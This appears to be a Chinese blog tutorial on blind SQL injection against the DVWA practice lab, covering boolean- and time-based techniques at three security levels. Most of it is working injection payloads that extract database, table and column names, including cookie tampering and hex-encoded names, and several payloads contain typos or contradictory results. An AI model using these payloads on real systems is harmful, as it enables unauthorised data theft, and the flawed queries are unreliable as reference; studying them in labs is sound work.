网站首页 > 博客文章 正文
基于布尔的盲注是SQL中经典类型之一,主要有基于时间盲注和基于条件盲注。
下面用靶场dvwa为例:
一、(low)
没有进行任何过滤,sql语句查询返回的结果只有两种:
User ID exists in the database
与
‘ User ID MISSING from the database ’
因此这里是SQL盲注漏洞
1.基于布尔的盲注
输入 1' and 1=1 -- -
输入 1' and 1=2 -- -
说明存在字符型注入。。。。
1).拆解当前数据库名
首先猜数据库名长度,然后挨个猜解字符
输入 1' and length(database())=1 -- - #显示不存在
输入 1' and length(database())=2 -- - #显示不存在
输入 1' and length(database())=3 -- - #显示不存在
输入 1' and length(database())=4 -- - #显示不存在
说 明 数 据 库 名 长 度 是 4
2).采用二分法猜解数据库表名
1' and ascii(substr(database(),1,1))>97 显示存在,说明数据库名的第一个字符的 ascii值大于97(小写字母 a 的 ascii 值);
同上,猜解数据库名 :dvwa
3).猜解数据库中表的数量
1' and (select count (table name)from information schema.tables where table schema=database())=1 -- - 显示不存在
1' and (select count(table name)from information schema.tables where table schema=database())=2 -- 显示存在
说明数据库中有俩个表
4).猜解表名:
1' and length(substr(select table name from information schema.tables where table schema=database()limit 0,1),1)=1 -- - 显示不存在
((((limit 0,1)从表中第0个数据开始,取一个)))
1' and length(substr(select table name from information schema.tables where table schema=database()limit 0,1),1)=2 -- - 显示不存在
-----------------------
1' and length(substr(select table name from information schema.tables where table schema=database()limit 0,1),1)=9 -- - 显示存在 ?????????????????????????????
说明第一个表名长度为 9
1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))>97 -- - 显示存在
1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))<122 -- - 显示存在
1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))<109 -- - 显示存在
1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))<103 -- - 显示不存在
1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))>103 -- - 显示不存在
说明第一个表的第一个字符是小写字母g
重复如上操作得出俩个表名(guesbook、users)
5.)解析表中的字段名: ()(基于时间的盲注)()
首先猜解表中字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_name='user')=1,sleep(5),1) -- - 没有延迟
1' and if((select count(column_name) from information_schema.columns where table_name='user')=8,sleep(5),1) -- - 明显延迟
说明users 表中有8个字段
接着 挨个猜解字段名
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1) -- - 没有延迟
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1) -- - 明显延迟
说明users表的第一个字段长度为 7 个字符。
采用二分法即可猜解出各个字段名
6.)解析数据:
同样采用二分法
Medium
中级使用了 mysql_real_escape_string函数 对特殊字符进行了转义
\r \n \ ' '' \xo \x1a
并且设置了下拉列表 限制输入
使用bp 抓包改参数:
1' and if(length(database())=4,sleep(5),1) -- - 明显延迟,说明数据库长度为:4个字符
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=9,limit(5),1) # 明显延迟,说明数据中的第一个表明长度为9个字符
1’ and if((select count(table_column) from information_schema.columns where table_name=0x7573657273)=8,sleep(5),1) # 明显延迟,说明users表有8个字段
High
设置了cookie传递参数id,当查询结果为空时,执行sleep函数扰乱基于时间的盲注,同时设置了limit限制输入,用 # 把limit注释掉。然后用基于布尔的盲注
抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表明长度为9个字符;
抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。
猜你喜欢
- 2024-09-29 「黑客编程」手把手教你编写POC(黑客程序编写)
- 2024-09-29 关于文件包含漏洞的一些知识点(文件包含漏洞的条件)
- 2024-09-29 学习kali渗透测试到底该如何学?(kali 渗透测试)
- 2024-09-29 安全小白必须要知道的漏洞靶场(漏洞靶场平台)
- 2024-09-29 DVWA通关教程之暴力破解(dvwa爆破)
- 2024-09-29 有趣的FOFA语句(有趣的经典句子说说)
- 2024-09-29 渗透测试之SQL注入(二)(sql注入漏洞原理、常见测试方法及防御方法)
- 2024-09-29 白猫的日常--web安全--认证漏洞(三)
- 2024-09-29 自学学习网络安全,渗透测试的环境搭建总结
- 2024-09-29 Kali与编程:如何搭建OWASP网站渗透实验靶场?
你 发表评论:
欢迎- 368℃用AI Agent治理微服务的复杂性问题|QCon
- 363℃手把手教程「JavaWeb」优雅的SpringMvc+Mybatis整合之路
- 358℃初次使用IntelliJ IDEA新建Maven项目
- 351℃Maven技术方案最全手册(mavena)
- 348℃安利Touch Bar 专属应用,让闲置的Touch Bar活跃起来!
- 347℃InfoQ 2024 年趋势报告:架构篇(infoq+2024+年趋势报告:架构篇分析)
- 345℃IntelliJ IDEA 2018版本和2022版本创建 Maven 项目对比
- 343℃从头搭建 IntelliJ IDEA 环境(intellij idea建包)
- 最近发表
- 标签列表
-
- powershellfor (55)
- messagesource (56)
- aspose.pdf破解版 (56)
- promise.race (63)
- 2019cad序列号和密钥激活码 (62)
- window.performance (66)
- qt删除文件夹 (72)
- mysqlcaching_sha2_password (64)
- ubuntu升级gcc (58)
- nacos启动失败 (64)
- ssh-add (70)
- jwt漏洞 (58)
- macos14下载 (58)
- yarnnode (62)
- abstractqueuedsynchronizer (64)
- source~/.bashrc没有那个文件或目录 (65)
- springboot整合activiti工作流 (70)
- jmeter插件下载 (61)
- 抓包分析 (60)
- idea创建mavenweb项目 (65)
- vue回到顶部 (57)
- qcombobox样式表 (68)
- vue数组concat (56)
- tomcatundertow (58)
- pastemac (61)
本文暂时没有评论,来添加一个吧(●'◡'●)